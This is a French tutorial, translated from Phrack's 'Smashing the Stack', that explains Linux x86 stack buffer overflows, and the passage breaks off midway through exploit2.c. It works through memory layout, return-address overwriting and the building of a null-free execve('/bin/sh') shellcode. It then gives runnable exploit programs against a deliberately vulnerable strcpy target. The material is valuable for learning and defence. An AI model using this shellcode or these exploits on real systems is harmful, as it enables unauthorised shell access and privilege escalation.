Les Buffers Overflows
Par Acidroot ( http://www.clickmicro.fr.st )

Disclamer: Ce texte explique ce qu'est un buffer overflow, et comment les écrire. Je ne suis pas un informaticiens confirmé, donc si vous trouvés des fautes, si vous avez des commentaires, ou autre vous pouvez m'écrire.
e-mail ----> Acidroot666@aol.com
Pour écrire ce document je me suis fortement (c de la traduction ;-) inspiré d'un article paru dans Phrack numéro 49 : "smash the stack".

I/ Introduction

En quelques mois les buffer overflow on beaucoup attirer l'attention, c'est rapidement devenu incontournable dès que l'on parle de "hacking". On note des centaines d'exemple comme sendmail, mount (freeBSD, Linux), des librairies.....
Comme je l'ai dit précédement, avec cet article je vais essayer de vous expliquer comment marche un buffer overflow et comment leurs exploit marchent.

Il faut avoir un minimum de bases en assembleur, et en C . Il faut aussi comprendre les concept de base de la mémoire, et une expérience avec gbd (un débugueur de Linux) est la bienvenue.
On admetra aussi que vous avez un Intel, et que votre OS est Linux.

Avant de commencer, il vous faut savoir ce qu'est un buffer. Un buffer est une suite de block de la mémoire d'un ordinateur qui contient plus informations, de mêmes types. Les programmeurs en C, l'assossierons surement avec l'instruction Buffer. Ces Buffers, comme toutes les variables en C, peut être déclarée statique ou dynamique.
Overflow, pour ceux qui ne comprenne pas ce mot, c'est le fait de trop remplir, déborder.
Nous nous interresserons aux dynamic buffer overflow plus couramment appelés buffer overflow.

II/ L'organistaion de la mémoire

Avant d'essayer de faire son buffer overflow, il faut savoir comment votre Pc gère sa mémoire. Un processus est divisé en 3 régions: text, data, et stack. Nous nous concentrerons essentiellement sur la derniere région, mais savoir ce que sont les autres régions ne nous fera pas de mal.

La region text est définie par le programme et son code. Cette région est normalement en read-only et quand on essayera d'écrire dessus on aur une jolie segmentation fault.
La region data contient contiens les variables du programme elle est plus ou moins grosse suivant les appel du programme. Si le programme appelle un fonction qui demande plus de memoire qu'il n'y en a alors le programme se redémarrera avec plus de memoire avant la stack.

Un petit schéma:

/------------------\ lower
| | memory
| Text | addresses
| |
|------------------|
| (Initialized) |
| Data |
| (Uninitialized) |
|------------------|
| |
| Stack | higher
| | memory
\------------------/ addresses
 

III/ Qu'est ce qu'une stack??

Une stack is une notion abstraite couramment utilisée en informatique.Une stack à la propriété que le dernier objet placé à l'intérieur sera le premier enlevé.
Plusieurs opérations sont definie dans la stack. Deux des plus importantes sont PUSH et POP. Push ajoute un élément à la fin de la stack. Contrairement Pop reduit la taille de la stack d'un en enlevant le dernier élément à la fin de la stack.

IV/ Pourquoi est utilisons nous les stacks?

Les pc modernes sont fait pour utiliser les meilleurs languages. Dans ces languages le plus important est la structure et pour cela on utilise une procédure ou fonction. Une stack est utilisée pour localiser dynamiquement les variables locales utilisées dans les fonctions, et reourner à cette dernière des valeur.

Une stack est une partie de la mémoire qui contient des informations. Un registre appelé stack pointer (SP) pointe la fin de la stack. Le début de celle ci est a une addresse fixe. La taille est dynamiquement allouée par le noyau au lancement du programme.
Une stack peut decroire ( va vers une adresse plus petite) ou bien croire, dans nos exemple la stack décroira, c'est comme cela quelle sur la plus part des PC comme Intel motorola ou autres.
Le SP est aussi dépendant du type d'ordinateur, il peut pointer la derniere adresse de la stack, ou la premiere adresse libre après la stack. Pour nos exemple on admettra que le SP pointe sur la derniere adresse de la stack.
La plupart des PC utilisent un autre pointeur en plus du SP. Ce pointeur est le FP (frame pointer), il designe la fin de la stack (l'adresse numérique la plus petite). Les PC l'utilisent pour référencer des variables ou des parametres locals car leur distance par rapport au FP ne changera avec l'utilisation des PUSH et des POP.

La premiere chose qu'un processus doit faire quand il est appelé est de sauvegarder le FP antérieur (pour pouvoir le restaurer à la fin).

Maintenant voyons à quoi une stack ressemble grace à un code simple:

example1.c:
-----------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}

void main() {
function(1,2,3);
}
-----------------------------------------------------------------------

Pour comprendre ce que le programme fait pour appeler la fonction (), on le compile en utilisant ggc et -S pour générer le code assembleur:
$ gcc -S -o example1.s example1.c

En regardant le code de l'assembleur on remarque que l'appel de la fonction est devenu:
pushl $3
pushl $2
pushl $1
call function

Il utilise Push pour pousser 3 argument à la fin de la stack et apres appelle la fonction. L'instruction "call" pousse le pointeur d'instruction (IP) sur le stack. On appelera l'IP sauvé l'adresse de retour (RET). La premiere chose faite dans l'instruction est est la procédure de prolog:
pushl %ebp
movl %esp,%ebp
subl $20,%esp

Cela pousse EBP , le FP, sur le stack. Il copie donc le SP dans EBP, le faisant devenir le nouveau FP pointeur. Nous appellerons le nouveau FP SFP. Cela crée donc de la place pour les variables locales.

Nous devanos aussi penser que la mémoire ne peut etre réservée que par multiple du mot (je trouve pas ca très clair ;-). Je m'explique Si on veut un buffer de 5 bytes et que notre "mot" est de 4 bytes alors le buffer prendra 8 bytes (2 mots) de mémoire. Il faut aussi garder en mémoire que notre stack ressemble à cela lorsque la fonction () est appelée (chaque espace représent un byte):

bottom of top of
memory memory
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]

top of bottom of
stack stack
 

V/ Buffer overflow

Un buffer overflow n'est que le résultat d'une action. Cela arrive quand on essaye de mettre plus d'information qu'il n'y a de place dans un buffer. Comment peut on tirer un quelconque avantage de cette faute de programmation? Regardez l'example suivant :

example2.c
-----------------------------------------------------------------------
void function(char *str) {
char buffer[16];

strcpy(buffer,str);
}

void main() {
char large_string[256];
int i;

for( i = 0; i < 255; i++)
large_string[i] = 'A';

function(large_string);
}
-----------------------------------------------------------------------

Ce programme a une fonction, qui est une typique faute de programmation , un typique buffer overflow. La fonction copie une chaine (string) sans vérifier les limites en utilisant strcpy( ) à la place de strncpy( ). Si vous essayer de faire tourner ce programme, vous aurez une jolie faute de segmantation ;-)
Voyons à quoi ressemble la stack quand on appelle la fonction:

bottom of top of memory memory
buffer sfp ret *str
<------ [ ][ ][ ][ ]

top of bottom of
stack stack

On va expliquer ce qu'il se passe pendant l'execution du programme. Strcpy ( ) copie le contenu de *str (qui point vers larger_string) dans le buffer. Problème, le buffer fais 16 bytes de long, alors de larger_string en contient 256.... Ca signifie qu'il y a 250 bytes de trop, et donc que 250 bytes de la stck serons réécrites (overwrite : réécrite de force). Cela inclue SFP (le nouveau FP pour ceux qui on la mémoire courte ;-) RET et même *str.... Larger_string a été remplie avec des 'A'. 'A' en hexadécimal c'est 0x41. Cela veut donc dire que notre adresse de retour est maintenant x41414141. C'est en dehors de la réserve de mémoire allouer au processus. C'est pour ca que quand votre fonction reviens et essaye de lire l'instruction suivante à cette adresse vous avez une faute de segmentation.

Un buffer overflow nous permet donc de changer l'adresse de retour d'une fonction. On pourra donc changer le flot d'instruction d'un programme. Revenons a notre premier programme et rappelons l'allure de la stack:

bottom of top of
memory memory
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]

top of bottom of
stack stack

On va essayer de modifier notre premier programme pour qu'il réécrive l'addresse de retour, et on va démontrer comment on pourra en faire un code arbitraire. Dans la stack juste avant le buffer1[ ] on voit le SFP, et avant l'adresse de retour. C'est 4 bytes après la fin du premier buffer. Mais il faut se rappeler que le buffer fait deux mots, donc 8 bytes, donc l'adresse de retour est 12 bytes après le début du premier buffer.
On va modifier la valeur de retour pour que cela devienne 'x = 1;' Après l'appel de la fonction on fera un saut.
Notre code deviens:

example3.c:
-----------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;

ret = buffer1 + 12;
(*ret) += 8;
}

void main() {
int x;

x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
-----------------------------------------------------------------------

Ce que l'on a fait c'est ajouter 12 bytes à l'adresse du buffer1[ ]. Cette nouvelle adresse et l'emplacacement ou l'adresse de retour est stoquée. On voudrai faire sauter l'affectation vers l'appel de printf. Comment peut on ajouter 8 à l'adresse de retour? Pour cela on va compiler le programme et le passer au débugueur.

-----------------------------------------------------------------------
[Acid]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>: pushl %ebp
0x8000491 <main+1>: movl %esp,%ebp
0x8000493 <main+3>: subl $0x4,%esp
0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)
0x800049d <main+13>: pushl $0x3
0x800049f <main+15>: pushl $0x2
0x80004a1 <main+17>: pushl $0x1
0x80004a3 <main+19>: call 0x8000470 <function>
0x80004a8 <main+24>: addl $0xc,%esp
0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax
0x80004b5 <main+37>: pushl %eax
0x80004b6 <main+38>: pushl $0x80004f8
0x80004bb <main+43>: call 0x8000378 <printf>
0x80004c0 <main+48>: addl $0x8,%esp
0x80004c3 <main+51>: movl %ebp,%esp
0x80004c5 <main+53>: popl %ebp
0x80004c6 <main+54>: ret
0x80004c7 <main+55>: nop
-----------------------------------------------------------------------

On peut voir qu'a l'appel de la fonction ( ) le ret sera 0x8004a8, et nous voudriez sauter l'allocation 0x8004ab. La prochaine instruction que l'on veut éxécuter est celle au 0x8004b2. Un petit cacul nous dit qu'il y a 8 bytes entre les deux.

VI/ les shells

Donc maintenant , on sait modifier l'adresse de retour et le flot d'instruction, quel programme voulons nous executer? Dans la plus part des cas on veut un shell. Depuis le shell on pourra alors éxécuter les commandes que l'on veut. Mais comment faire s'il n'y a pas de tel programme dans notre exploit? Comment faire pour mettre des instructions arbitraire dans les adresses? La solution est de placer le code que l'on veut executer dans le buffer que l'on overflow et de réécrire sur le ret comme ca ca repointe vers le buffer. Presummons que la stack commance à l'adresse 0xFF, et que S remplace le code que l'on veut éxécuter. La stack resemblerai alors à ceci:

bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c

<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
top of bottom of
stack stack
 

Le code pour nous donner un shell ressemble à ceci:

shellcode.c
-----------------------------------------------------------------------#include <stdio.h>
void main() {
char *name[2];

name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
-----------------------------------------------------------------------

Pour voir à quoi cela ressamble en assembleur on le compile et on redémarre GBD. Ne peas oublier d'utiliser -static. Sinon le systeme execve ne sera pas pris en compte, à la place on aura une référence à la librairie C qui est normalement chargée au démarrage du programme.

-----------------------------------------------------------------------
[Acid]$ gcc -o shellcode -ggdb -static shellcode.c
[Acid]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
-----------------------------------------------------------------------

On va essayer de comprendre ce qu'il ce passe. On commence par main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp

Ca c'est c'est le prélude de la procédure. Tout d'abord il sauve l'ancien pointeur, fait du SP ne nouveau FP et libere de la place pour les variables locales. Dans ce cas :

char *name [2] ;

ou deux pointeur pour une instruction char. Les pointeurs sont des mots long, cela libere donc de la place pour deux mots (8 bytes).

0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)

On va copier la valeur 0x80027b8 (l'adresse de '/bin/sh') dans le premier pointeur de name [ ]. Cela reviens à :
name [0] = "/bin/sh" ;

0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)

On copie la valeur 0x0 (NULL) dans le deuxieme pointeur de name [ ]. Ca équivaut à:
name [1] = NULL ;

L'appel d'execve ( ) commence ici.

0x8000144 <main+20>: pushl $0x0

On fait un push sur l'execve ( ) pour renverser l'ordre de la stack. On commence alors par NULL.

0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax

On charge l'adresse de name [ ] dans le registre EAX.

0x8000149 <main+25>: pushl %eax

On fait un push sur l'adresse de name [ ] sur la stack

0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax

On charge l'adresse de /bin/sh dans le registre EAX.

0x800014d <main+29>: pushl %eax

On fait un push sur l'adresse de /bin/sh sur la stack.

0x800014e <main+30>: call 0x80002bc <__execve>

Ceci appelle la fonction librairie execve ( ). L'appel de l'instruction fait un Push sur l'IP dans la stack.

Maintenant execve ( ). Gardez à l'esprit que nous utilisons, un intel avec linux. Les détails de l'appel change en fonction du processeur, mais aussi de l'OS. Certains mettrons les arguments dans la stack, d'autre dans les registres. Certains utilisent un interruption pour passer en mode kernel, d'autres utilisent un appel lointain. Linux passe ses arguments pour l'appel systeme dans les registres et utilise une interruption pour passer en mode kernel.

0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx

Le prelude la procédure.....

0x80002c0 <__execve+4>: movl $0xb,%eax

Copie 0xb (11 en decimal) dans la stack. C'est l'index dans la table des appels. 11 est execve.

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

Copie l'adresse de /bin/sh dans EBX.

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

copie l'adresse de name [ ] dans ECX.

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

Copie l'adresse du pointeur NULL dans EDX.

0x80002ce <__execve+18>: int $0x80

Passe en mode kernel.

__________________________________________________________________________________

Donc comme on peut le voir on ne doit pas beaucoup à execve ( ). Tout ce dont on a besoin c'est :
- Avoir quelques part dans la mémoire la chaine /bin/sh terminée par null.
- Avoir l'adresse de la chaine /bin/sh quelques part dans la memoire suivit d'un long mot null.
- copier 0xb dans le registre EAX
-Copier l'adresse de l'adresse de la chaine /bin/sh dans le registre EBX.
-Copier l'adresse de la chaine /bin/sh dans le registre ECX.
-Copier l'adresse du long mot null dans le registre EDX.
-Executer l'instruction (entiere courte) $0x80.

Mais que ce passerai t il si l'appel d'execve ( ) l'acherai pour quelques raison?? Le programme continuerai a aller chercher des instructions dans la stack qui contient qui contient un nombre aléatoire de données! Ce programme ferai la plus part du temps un core dump. Nous voudrions que le programme se termine sans probleme si l'appel systeme d'execve ratai. Pour cela on va rajouter un appel systeme de sortie ('exit') après celui d'execve. A quoi ressemble un appel de sortie?

exit.c
-----------------------------------------------------------------------
#include <stdlib.h>

void main() {
exit(0);
}
-----------------------------------------------------------------------

-----------------------------------------------------------------------
[Acid]$ gcc -o exit -static exit.c
[Acid]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
-----------------------------------------------------------------------

L'appel systeme 'exit' va mettre 0x1 dans l'EAX, et met le code de sortie dans l'EBX, et execute "int 0x80". La plus part des applications retournent 0 lors de la sortie pour indiquer qu'il n'y a pas eu d'erreur. On aura donc un 0 dans EBX. Notre liste d'étape est maintenant:

- Avoir quelques part dans la mémoire la chaine /bin/sh terminée par null.
- Avoir l'adresse de la chaine /bin/sh quelques part dans la memoire suivit d'un long mot null.
- copier 0xb dans le registre EAX
-Copier l'adresse de l'adresse de la chaine /bin/sh dans le registre EBX.
-Copier l'adresse de la chaine /bin/sh dans le registre ECX.
-Copier l'adresse du long mot null dans le registre EDX.
-Executer l'instruction (entiere courte) $0x80.
-copier 0x1 dans le registre EAX
-copier 0x0 dans le registre EBX.
-Executer l'instruction (entiere courte) $0x80.

Si on traduit tout ca en assembleur on obtient:

----------------------------------------------------------------------- movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
---------------------------------------------------------------------

Le probleme est que noux ne savons où dans la memoire le programme que nous essayons d'exploiter (ainsi que la chaine qui le suit) sera placé. La seule facon de contourner se probleme et d'utiliser une instructon jump et une instruction call. Le JMP et le Call peuvent utiliser adresse relative ip, ce qui veut dire qu'on peut sauter vers une adresse sans savoir sa valeur. Si nous placons une instructions call juste devant la chaine "/bin/sh " et que l'on fait un jump vers celle ci, l'adresse de la chaine sera poussée dans la stack quand call sera executée. Tout ce que nous avons a faire est de copier l'adresse de retour dans un registre. L'instruction CALL peut simplement appeller le debut de notre code. Admettons que J siot l'instruction jump, C soit call, et s la chaine. Le flots d'instruction sera de la forme suivante:

bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c

<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
top of bottom of
stack stack

Avec ces modifications, en utilisant une adresse indexée, et mettant la taille de chaque instruction notre code deviens:

-----------------------------------------------------------------------
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset,(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
-----------------------------------------------------------------------

En calculant les déplacements de jmp à call, de call à popl, des chaines d'adresse aux aux tableaux....etc..on obtient:

-----------------------------------------------------------------------
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
-----------------------------------------------------------------------

Ca a l'air pas mal. Pour etre sur qu'il marche normalement, il faut le compiler et le demarer. Mais il y a un probleme (et oui encore ;-) Notre code se modifie lui meme, mais la plus part des os marquent les codes en read-only. Pour eviter cette restriction nous devrons le placer dans une stack, ou un segment d'informations et lui transferer le controle. Mais nous devons d'abord avoir une representation hexadecimale du code. Compilons le et apres utilisons gdb pour le faire.

shellcodeasm.c
-----------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
-----------------------------------------------------------------------

-----------------------------------------------------------------------[Acid]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[Acid]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>: 0xeb
(gdb)
0x8000134 <main+4>: 0x2a
(gdb)
.
.
.
-----------------------------------------------------------------------

testsc.c
-----------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}
-----------------------------------------------------------------------

-----------------------------------------------------------------------
[Acid]$ gcc -o testsc testsc.c
[Acid]$ ./testsc
$ exit
[Acid]$
-----------------------------------------------------------------------

Ca marche!!!! Mais il reste un obstacle....Dans la plupart des cas on va essayer de faire un overflow sur un buffer de caracter. Donc, dès qu'il y aura un byte null dans notre code il sera cosidérécomme la fin de la chaine et le copiage se terminera. Il ne doit donc pas y avoir de byte null dans notre code pour que l'exploit marche. Essayons d'eliminer les bytes null (et de le faire plus petit):

Problem instruction: Substitute with:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------

Notre code deviens:

shellcodeasm2.c
-----------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes total
");
}
-----------------------------------------------------------------------

et notre nouveau programme de test:

testsc2.c
-----------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}
-----------------------------------------------------------------------

-----------------------------------------------------------------------
[Acid]$ gcc -o testsc2 testsc2.c
[Acid]$ ./testsc2
$ exit
[Acid]$
-----------------------------------------------------------------------
 

VII/ Comment ecrire un exploit.

Mettons toutes nos pieces essembles. On a un shellcode. On sait qu'il doit faire partie de la chaine que l'on utilisera pour faire l'overflow du buffer. On sait qu'on doit pointer l'adresse de retour dans le buffer.
Cet example va démontrer tous ces points.

overflow1.c
-----------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer,large_string);
}
-----------------------------------------------------------------------

-----------------------------------------------------------------------
[Acid]$ gcc -o exploit1 exploit1.c
[Acid]$ ./exploit1
$ exit
exit
[Acid]$
-----------------------------------------------------------------------

Ce que nous avons fait ici c'est remplir le tableau large_string[ ] avec l'adresse du buffer [ ] où sera situé notre code. Après on copie le shellcode au début de la chaine large_string. strcpy ( ) va alors copier large_string dans le buffer [ ] sans faire attention aux limites, et va donc faire un overflow sur l'adresse de retour, à la place il va mettre l'adresse de notre code. Dès qu'il a fini, il fait un jump vers l'adresse de retour qui pointe vers notre code, qui execute un shell.

Mais on rencontre un petit probleme quand on essaye de faire un buffer overflow c'est qu'un autre programme est peut etre là ou devrai t etre notre buffer (et donc, notre code). La solution est que pour tous les programmes la stack demarre au meme endroit. La plupart des programmes ne pousses pas de plus de quelques dizainnes, voir quelques centaines de bytes dans la stack en une fois. Donc en sachant ou commence la stack, on peut deviner où est le buffer sur lequel on essaye un overflow. Voici un petit programme qui nous montre ou est le stack pointer :

sp.c
-----------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
-----------------------------------------------------------------------

-----------------------------------------------------------------------
[Acid]$ ./sp
0x8000470
[Acid]$
-----------------------------------------------------------------------

Admettons que le programme sur lequel on tente le overflow soit :

vulnerable.c
-----------------------------------------------------------------------
void main(int argc, char *argv[]) {
char buffer[512];

if (argc > 1)
strcpy(buffer,argv[1]);
}
-----------------------------------------------------------------------

Maintenant on peut essayer de faire un programme qui prends comme parametres la taille du buffer, et un offset de son propre SP. Nous mettrons l'overflow dans un environnement variable, comme cela ce sera facile a manipuler.

exploit2.c
-----------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

